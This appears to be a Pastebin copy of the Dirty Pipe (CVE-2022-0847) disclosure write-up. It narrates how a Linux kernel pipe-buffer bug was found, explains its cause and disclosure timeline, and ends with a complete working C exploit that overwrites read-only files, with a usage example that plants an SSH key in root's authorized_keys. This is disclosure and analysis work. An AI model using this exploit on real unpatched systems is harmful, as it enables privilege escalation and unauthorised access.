hamidy

The Dirty Pipe Vulnerability

Mar 11th, 2022
39
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 22.24 KB | None | 0 0
  1.  
  2. The Dirty Pipe Vulnerability
  3.  
  4. Max Kellermann <max.kellermann@ionos.com>
  5. Abstract
  6.  
  7. This is the story of CVE-2022-0847, a vulnerability in the Linux kernel since 5.8 which allows overwriting data in arbitrary read-only files. This leads to privilege escalation because unprivileged processes can inject code into root processes.
  8.  
  9. It is similar to CVE-2016-5195 “Dirty Cow” but is easier to exploit.
  10.  
  11. The vulnerability was fixed in Linux 5.16.11, 5.15.25 and 5.10.102.
  12. Corruption pt. I
  13.  
  14. It all started a year ago with a support ticket about corrupt files. A customer complained that the access logs they downloaded could not be decompressed. And indeed, there was a corrupt log file on one of the log servers; it could be decompressed, but gzip reported a CRC error. I could not explain why it was corrupt, but I assumed the nightly split process had crashed and left a corrupt file behind. I fixed the file’s CRC manually, closed the ticket, and soon forgot about the problem.
  15.  
  16. Months later, this happened again and yet again. Every time, the file’s contents looked correct, only the CRC at the end of the file was wrong. Now, with several corrupt files, I was able to dig deeper and found a surprising kind of corruption. A pattern emerged.
  17. Access Logging
  18.  
  19. Let me briefly introduce how our log server works: In the CM4all hosting environment, all web servers (running our custom open source HTTP server) send UDP multicast datagrams with metadata about each HTTP request. These are received by the log servers running Pond, our custom open source in-memory database. A nightly job splits all access logs of the previous day into one per hosted web site, each compressed with zlib.
  20.  
  21. Via HTTP, all access logs of a month can be downloaded as a single .gz file. Using a trick (which involves Z_SYNC_FLUSH), we can just concatenate all gzipped daily log files without having to decompress and recompress them, which means this HTTP request consumes nearly no CPU. Memory bandwidth is saved by employing the splice() system call to feed data directly from the hard disk into the HTTP connection, without passing the kernel/userspace boundary (“zero-copy”).
  22.  
  23. Windows users can’t handle .gz files, but everybody can extract ZIP files. A ZIP file is just a container for .gz files, so we could use the same method to generate ZIP files on-the-fly; all we needed to do was send a ZIP header first, then concatenate all .gz file contents as usual, followed by the central directory (another kind of header).
  24. Corruption pt. II
  25.  
  26. This is how a the end of a proper daily file looks:
  27.  
  28. 000005f0 81 d6 94 39 8a 05 b0 ed e9 c0 fd 07 00 00 ff ff
  29. 00000600 03 00 9c 12 0b f5 f7 4a 00 00
  30.  
  31. The 00 00 ff ff is the sync flush which allows simple concatenation. 03 00 is an empty “final” block, and is followed by a CRC32 (0xf50b129c) and the uncompressed file length (0x00004af7 = 19191 bytes).
  32.  
  33. The same file but corrupted:
  34.  
  35. 000005f0 81 d6 94 39 8a 05 b0 ed e9 c0 fd 07 00 00 ff ff
  36. 00000600 03 00 50 4b 01 02 1e 03 14 00
  37.  
  38. The sync flush is there, the empty final block is there, but the uncompressed length is now 0x0014031e = 1.3 MB (that’s wrong, it’s the same 19 kB file as above). The CRC32 is 0x02014b50, which does not match the file contents. Why? Is this an out-of-bounds write or a heap corruption bug in our log client?
  39.  
  40. I compared all known-corrupt files and discovered, to my surprise, that all of them had the same CRC32 and the same “file length” value. Always the same CRC - this implies that this cannot be the result of a CRC calculation. With corrupt data, we would see different (but wrong) CRC values. For hours, I stared holes into the code but could not find an explanation.
  41.  
  42. Then I stared at these 8 bytes. Eventually, I realized that 50 4b is ASCII for “P” and “K”. “PK”, that’s how all ZIP headers start. Let’s have a look at these 8 bytes again:
  43.  
  44. 50 4b 01 02 1e 03 14 00
  45.  
  46. 50 4b is “PK”
  47.  
  48. 01 02 is the code for central directory file header.
  49.  
  50. “Version made by” = 1e 03; 0x1e = 30 (3.0); 0x03 = UNIX
  51.  
  52. “Version needed to extract” = 14 00; 0x0014 = 20 (2.0)
  53.  
  54. The rest is missing; the header was apparently truncated after 8 bytes.
  55.  
  56. This is really the beginning of a ZIP central directory file header, this cannot be a coincidence. But the process which writes these files has no code to generate such header. In my desperation, I looked at the zlib source code and all other libraries used by that process but found nothing. This piece of software doesn’t know anything about “PK” headers.
  57.  
  58. There is one process which generates “PK” headers, though; it’s the web service which constructs ZIP files on-the-fly. But this process runs as a different user which doesn’t have write permissions on these files. It cannot possibly be that process.
  59.  
  60. None of this made sense, but new support tickets kept coming in (at a very slow rate). There was some systematic problem, but I just couldn’t get a grip on it. That gave me a lot of frustration, but I was busy with other tasks, and I kept pushing this file corruption problem to the back of my queue.
  61. Corruption pt. III
  62.  
  63. External pressure brought this problem back into my consciousness. I scanned the whole hard disk for corrupt files (which took two days), hoping for more patterns to emerge. And indeed, there was a pattern:
  64.  
  65. there were 37 corrupt files within the past 3 months
  66.  
  67. they occurred on 22 unique days
  68.  
  69. 18 of those days have 1 corruption
  70.  
  71. 1 day has 2 corruptions (2021-11-21)
  72.  
  73. 1 day has 7 corruptions (2021-11-30)
  74.  
  75. 1 day has 6 corruptions (2021-12-31)
  76.  
  77. 1 day has 4 corruptions (2022-01-31)
  78.  
  79. The last day of each month is clearly the one which most corruptions occur.
  80.  
  81. Only the primary log server had corruptions (the one which served HTTP connections and constructed ZIP files). The standby server (HTTP inactive but same log extraction process) had zero corruptions. Data on both servers was identical, minus those corruptions.
  82.  
  83. Is this caused by flaky hardware? Bad RAM? Bad storage? Cosmic rays? No, the symptoms don’t look like a hardware issue. A ghost in the machine? Do we need an exorcist?
  84. Man staring at code
  85.  
  86. I began staring holes into my code again, this time the web service.
  87.  
  88. Remember, the web service writes a ZIP header, then uses splice() to send all compressed files, and finally uses write() again for the “central directory file header”, which begins with 50 4b 01 02 1e 03 14 00, exactly the corruption. The data sent over the wire looks exactly like the corrupt files on disk. But the process sending this on the wire has no write permissions on those files (and doesn’t even try to do so), it only reads them. Against all odds and against the impossible, it must be that process which causes corruptions, but how?
  89.  
  90. My first flash of inspiration why it’s always the last day of the month which gets corrupted. When a website owner downloads the access log, the server starts with the first day of the month, then the second day, and so on. Of course, the last day of the month is sent at the end; the last day of the month is always followed by the “PK” header. That’s why it’s more likely to corrupt the last day. (The other days can be corrupted if the requested month is not yet over, but that’s less likely.)
  91.  
  92. How?
  93. Man staring at kernel code
  94.  
  95. After being stuck for more hours, after eliminating everything that was definitely impossible (in my opinion), I drew a conclusion: this must be a kernel bug.
  96.  
  97. Blaming the Linux kernel (i.e. somebody else’s code) for data corruption must be the last resort. That is unlikely. The kernel is an extremely complex project developed by thousands of individuals with methods that may seem chaotic; despite of this, it is extremely stable and reliable. But this time, I was convinced that it must be a kernel bug.
  98.  
  99. In a moment of extraordinary clarity, I hacked two C programs.
  100.  
  101. One that keeps writing odd chunks of the string “AAAAA” to a file (simulating the log splitter):
  102.  
  103. #include <unistd.h>
  104. int main(int argc, char **argv) {
  105. for (;;) write(1, "AAAAA", 5);
  106. }
  107. // ./writer >foo
  108.  
  109. And one that keeps transferring data from that file to a pipe using splice() and then writes the string “BBBBB” to the pipe (simulating the ZIP generator):
  110.  
  111. #define _GNU_SOURCE
  112. #include <unistd.h>
  113. #include <fcntl.h>
  114. int main(int argc, char **argv) {
  115. for (;;) {
  116. splice(0, 0, 1, 0, 2, 0);
  117. write(1, "BBBBB", 5);
  118. }
  119. }
  120. // ./splicer <foo |cat >/dev/null
  121.  
  122. I copied those two programs to the log server, and… bingo! The string “BBBBB” started appearing in the file, even though nobody ever wrote this string to the file (only to the pipe by a process without write permissions).
  123.  
  124. So this really is a kernel bug!
  125.  
  126. All bugs become shallow once they can be reproduced. A quick check verified that this bug affects Linux 5.10 (Debian Bullseye) but not Linux 4.19 (Debian Buster). There are 185.011 git commits between v4.19 and v5.10, but thanks to git bisect, it takes just 17 steps to locate the faulty commit.
  127.  
  128. The bisect arrived at commit f6dd975583bd, which refactors the pipe buffer code for anonymous pipe buffers. It changes the way how the “mergeable” check is done for pipes.
  129. Pipes and Buffers and Pages
  130.  
  131. Why pipes, anyway? In our setup, the web service which generates ZIP files communicates with the web server over pipes; it talks the Web Application Socket protocol which we invented because we were not happy with CGI, FastCGI and AJP. Using pipes instead of multiplexing over a socket (like FastCGI and AJP do) has a major advantage: you can use splice() in both the application and the web server for maximum efficiency. This reduces the overhead for having web applications out-of-process (as opposed to running web services inside the web server process, like Apache modules do). This allows privilege separation without sacrificing (much) performance.
  132.  
  133. Short detour on Linux memory management: The smallest unit of memory managed by the CPU is a page (usually 4 kB). Everything in the lowest layer of Linux’s memory management is about pages. If an application requests memory from the kernel, it will get a number of (anonymous) pages. All file I/O is also about pages: if you read data from a file, the kernel first copies a number of 4 kB chunks from the hard disk into kernel memory, managed by a subsystem called the page cache. From there, the data will be copied to userspace. The copy in the page cache remains for some time, where it can be used again, avoiding unnecessary hard disk I/O, until the kernel decides it has a better use for that memory (“reclaim”). Instead of copying file data to userspace memory, pages managed by the page cache can be mapped directly into userspace using the mmap() system call (a trade-off for reduced memory bandwidth at the cost of increased page faults and TLB flushes). The Linux kernel has more tricks: the sendfile() system call allows an application to send file contents into a socket without a roundtrip to userspace (an optimization popular in web servers serving static files over HTTP). The splice() system call is kind of a generalization of sendfile(): It allows the same optimization if either side of the transfer is a pipe; the other side can be almost anything (another pipe, a file, a socket, a block device, a character device). The kernel implements this by passing page references around, not actually copying anything (zero-copy).
  134.  
  135. A pipe is a tool for unidirectional inter-process communication. One end is for pushing data into it, the other end can pull that data. The Linux kernel implements this by a ring of struct pipe_buffer, each referring to a page. The first write to a pipe allocates a page (space for 4 kB worth of data). If the most recent write does not fill the page completely, a following write may append to that existing page instead of allocating a new one. This is how “anonymous” pipe buffers work (anon_pipe_buf_ops).
  136.  
  137. If you, however, splice() data from a file into the pipe, the kernel will first load the data into the page cache. Then it will create a struct pipe_buffer pointing inside the page cache (zero-copy), but unlike anonymous pipe buffers, additional data written to the pipe must not be appended to such a page because the page is owned by the page cache, not by the pipe.
  138.  
  139. History of the check for whether new data can be appended to an existing pipe buffer:
  140.  
  141. Long ago, struct pipe_buf_operations had a flag called can_merge.
  142.  
  143. Commit 5274f052e7b3 “Introduce sys_splice() system call” (Linux 2.6.16, 2006) featured the splice() system call, introducing page_cache_pipe_buf_ops, a struct pipe_buf_operations implementation for pipe buffers pointing into the page cache, the first one with can_merge=0 (not mergeable).
  144.  
  145. Commit 01e7187b4119 “pipe: stop using ->can_merge” (Linux 5.0, 2019) converted the can_merge flag into a struct pipe_buf_operations pointer comparison because only anon_pipe_buf_ops has this flag set.
  146.  
  147. Commit f6dd975583bd “pipe: merge anon_pipe_buf*_ops” (Linux 5.8, 2020) converted this pointer comparison to per-buffer flag PIPE_BUF_FLAG_CAN_MERGE.
  148.  
  149. Over the years, this check was refactored back and forth, which was okay. Or was it?
  150. Uninitialized
  151.  
  152. Several years before PIPE_BUF_FLAG_CAN_MERGE was born, commit 241699cd72a8 “new iov_iter flavour: pipe-backed” (Linux 4.9, 2016) added two new functions which allocate a new struct pipe_buffer, but initialization of its flags member was missing. It was now possible to create page cache references with arbitrary flags, but that did not matter. It was technically a bug, though without consequences at that time because all of the existing flags were rather boring.
  153.  
  154. This bug suddenly became critical in Linux 5.8 with commit f6dd975583bd “pipe: merge anon_pipe_buf*_ops”. By injecting PIPE_BUF_FLAG_CAN_MERGE into a page cache reference, it became possible to overwrite data in the page cache, simply by writing new data into the pipe prepared in a special way.
  155. Corruption pt. IV
  156.  
  157. This explains the file corruption: First, some data gets written into the pipe, then lots of files get spliced, creating page cache references. Randomly, those may or may not have PIPE_BUF_FLAG_CAN_MERGE set. If yes, then the write() call that writes the central directory file header will be written to the page cache of the last compressed file.
  158.  
  159. But why only the first 8 bytes of that header? Actually, all of the header gets copied to the page cache, but this operation does not increase the file size. The original file had only 8 bytes of “unspliced” space at the end, and only those bytes can be overwritten. The rest of the page is unused from the page cache’s perspective (though the pipe buffer code does use it because it has its own page fill management).
  160.  
  161. And why does this not happen more often? Because the page cache does not write back to disk unless it believes the page is “dirty”. Accidently overwriting data in the page cache will not make the page “dirty”. If no other process happens to “dirty” the file, this change will be ephemeral; after the next reboot (or after the kernel decides to drop the page from the cache, e.g. reclaim under memory pressure), the change is reverted. This allows interesting attacks without leaving a trace on hard disk.
  162. Exploiting
  163.  
  164. In my first exploit (the “writer” / “splicer” programs which I used for the bisect), I had assumed that this bug is only exploitable while a privileged process writes the file, and that it depends on timing.
  165.  
  166. When I realized what the real problem was, I was able to widen the hole by a large margin: it is possible to overwrite the page cache even in the absence of writers, with no timing constraints, at (almost) arbitrary positions with arbitrary data. The limitations are:
  167.  
  168. the attacker must have read permissions (because it needs to splice() a page into a pipe)
  169.  
  170. the offset must not be on a page boundary (because at least one byte of that page must have been spliced into the pipe)
  171.  
  172. the write cannot cross a page boundary (because a new anonymous buffer would be created for the rest)
  173.  
  174. the file cannot be resized (because the pipe has its own page fill management and does not tell the page cache how much data has been appended)
  175.  
  176. To exploit this vulnerability, you need to:
  177.  
  178. Create a pipe.
  179.  
  180. Fill the pipe with arbitrary data (to set the PIPE_BUF_FLAG_CAN_MERGE flag in all ring entries).
  181.  
  182. Drain the pipe (leaving the flag set in all struct pipe_buffer instances on the struct pipe_inode_info ring).
  183.  
  184. Splice data from the target file (opened with O_RDONLY) into the pipe from just before the target offset.
  185.  
  186. Write arbitrary data into the pipe; this data will overwrite the cached file page instead of creating a new anomyous struct pipe_buffer because PIPE_BUF_FLAG_CAN_MERGE is set.
  187.  
  188. To make this vulnerability more interesting, it not only works without write permissions, it also works with immutable files, on read-only btrfs snapshots and on read-only mounts (including CD-ROM mounts). That is because the page cache is always writable (by the kernel), and writing to a pipe never checks any permissions.
  189.  
  190. This is my proof-of-concept exploit:
  191.  
  192. /* SPDX-License-Identifier: GPL-2.0 */
  193. /*
  194. * Copyright 2022 CM4all GmbH / IONOS SE
  195. *
  196. * author: Max Kellermann <max.kellermann@ionos.com>
  197. *
  198. * Proof-of-concept exploit for the Dirty Pipe
  199. * vulnerability (CVE-2022-0847) caused by an uninitialized
  200. * "pipe_buffer.flags" variable. It demonstrates how to overwrite any
  201. * file contents in the page cache, even if the file is not permitted
  202. * to be written, immutable or on a read-only mount.
  203. *
  204. * This exploit requires Linux 5.8 or later; the code path was made
  205. * reachable by commit f6dd975583bd ("pipe: merge
  206. * anon_pipe_buf*_ops"). The commit did not introduce the bug, it was
  207. * there before, it just provided an easy way to exploit it.
  208. *
  209. * There are two major limitations of this exploit: the offset cannot
  210. * be on a page boundary (it needs to write one byte before the offset
  211. * to add a reference to this page to the pipe), and the write cannot
  212. * cross a page boundary.
  213. *
  214. * Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n'
  215. *
  216. * Further explanation: https://dirtypipe.cm4all.com/
  217. */
  218.  
  219. #define _GNU_SOURCE
  220. #include <unistd.h>
  221. #include <fcntl.h>
  222. #include <stdio.h>
  223. #include <stdlib.h>
  224. #include <string.h>
  225. #include <sys/stat.h>
  226. #include <sys/user.h>
  227.  
  228. #ifndef PAGE_SIZE
  229. #define PAGE_SIZE 4096
  230. #endif
  231.  
  232. /**
  233. * Create a pipe where all "bufs" on the pipe_inode_info ring have the
  234. * PIPE_BUF_FLAG_CAN_MERGE flag set.
  235. */
  236. static void prepare_pipe(int p[2])
  237. {
  238. if (pipe(p)) abort();
  239.  
  240. const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
  241. static char buffer[4096];
  242.  
  243. /* fill the pipe completely; each pipe_buffer will now have
  244. the PIPE_BUF_FLAG_CAN_MERGE flag */
  245. for (unsigned r = pipe_size; r > 0;) {
  246. unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
  247. write(p[1], buffer, n);
  248. r -= n;
  249. }
  250.  
  251. /* drain the pipe, freeing all pipe_buffer instances (but
  252. leaving the flags initialized) */
  253. for (unsigned r = pipe_size; r > 0;) {
  254. unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
  255. read(p[0], buffer, n);
  256. r -= n;
  257. }
  258.  
  259. /* the pipe is now empty, and if somebody adds a new
  260. pipe_buffer without initializing its "flags", the buffer
  261. will be mergeable */
  262. }
  263.  
  264. int main(int argc, char **argv)
  265. {
  266. if (argc != 4) {
  267. fprintf(stderr, "Usage: %s TARGETFILE OFFSET DATA\n", argv[0]);
  268. return EXIT_FAILURE;
  269. }
  270.  
  271. /* dumb command-line argument parser */
  272. const char *const path = argv[1];
  273. loff_t offset = strtoul(argv[2], NULL, 0);
  274. const char *const data = argv[3];
  275. const size_t data_size = strlen(data);
  276.  
  277. if (offset % PAGE_SIZE == 0) {
  278. fprintf(stderr, "Sorry, cannot start writing at a page boundary\n");
  279. return EXIT_FAILURE;
  280. }
  281.  
  282. const loff_t next_page = (offset | (PAGE_SIZE - 1)) + 1;
  283. const loff_t end_offset = offset + (loff_t)data_size;
  284. if (end_offset > next_page) {
  285. fprintf(stderr, "Sorry, cannot write across a page boundary\n");
  286. return EXIT_FAILURE;
  287. }
  288.  
  289. /* open the input file and validate the specified offset */
  290. const int fd = open(path, O_RDONLY); // yes, read-only! :-)
  291. if (fd < 0) {
  292. perror("open failed");
  293. return EXIT_FAILURE;
  294. }
  295.  
  296. struct stat st;
  297. if (fstat(fd, &st)) {
  298. perror("stat failed");
  299. return EXIT_FAILURE;
  300. }
  301.  
  302. if (offset > st.st_size) {
  303. fprintf(stderr, "Offset is not inside the file\n");
  304. return EXIT_FAILURE;
  305. }
  306.  
  307. if (end_offset > st.st_size) {
  308. fprintf(stderr, "Sorry, cannot enlarge the file\n");
  309. return EXIT_FAILURE;
  310. }
  311.  
  312. /* create the pipe with all flags initialized with
  313. PIPE_BUF_FLAG_CAN_MERGE */
  314. int p[2];
  315. prepare_pipe(p);
  316.  
  317. /* splice one byte from before the specified offset into the
  318. pipe; this will add a reference to the page cache, but
  319. since copy_page_to_iter_pipe() does not initialize the
  320. "flags", PIPE_BUF_FLAG_CAN_MERGE is still set */
  321. --offset;
  322. ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
  323. if (nbytes < 0) {
  324. perror("splice failed");
  325. return EXIT_FAILURE;
  326. }
  327. if (nbytes == 0) {
  328. fprintf(stderr, "short splice\n");
  329. return EXIT_FAILURE;
  330. }
  331.  
  332. /* the following write will not create a new pipe_buffer, but
  333. will instead write into the page cache, because of the
  334. PIPE_BUF_FLAG_CAN_MERGE flag */
  335. nbytes = write(p[1], data, data_size);
  336. if (nbytes < 0) {
  337. perror("write failed");
  338. return EXIT_FAILURE;
  339. }
  340. if ((size_t)nbytes < data_size) {
  341. fprintf(stderr, "short write\n");
  342. return EXIT_FAILURE;
  343. }
  344.  
  345. printf("It worked!\n");
  346. return EXIT_SUCCESS;
  347. }
  348.  
  349. Timeline
  350.  
  351. 2021-04-29: first support ticket about file corruption
  352.  
  353. 2022-02-19: file corruption problem identified as Linux kernel bug, which turned out to be an exploitable vulnerability
  354.  
  355. 2022-02-20: bug report, exploit and patch sent to the Linux kernel security team
  356.  
  357. 2022-02-21: bug reproduced on Google Pixel 6; bug report sent to the Android Security Team
  358.  
  359. 2022-02-21: patch sent to LKML (without vulnerability details) as suggested by Linus Torvalds, Willy Tarreau and Al Viro
  360.  
  361. 2022-02-23: Linux stable releases with my bug fix (5.16.11, 5.15.25, 5.10.102)
  362.  
  363. 2022-02-24: Google merges my bug fix into the Android kernel
  364.  
  365. 2022-02-28: notified the linux-distros mailing list
  366.  
  367. 2022-03-07: public disclosure
  368.  
  369.  
Add Comment
Please, Sign In to add comment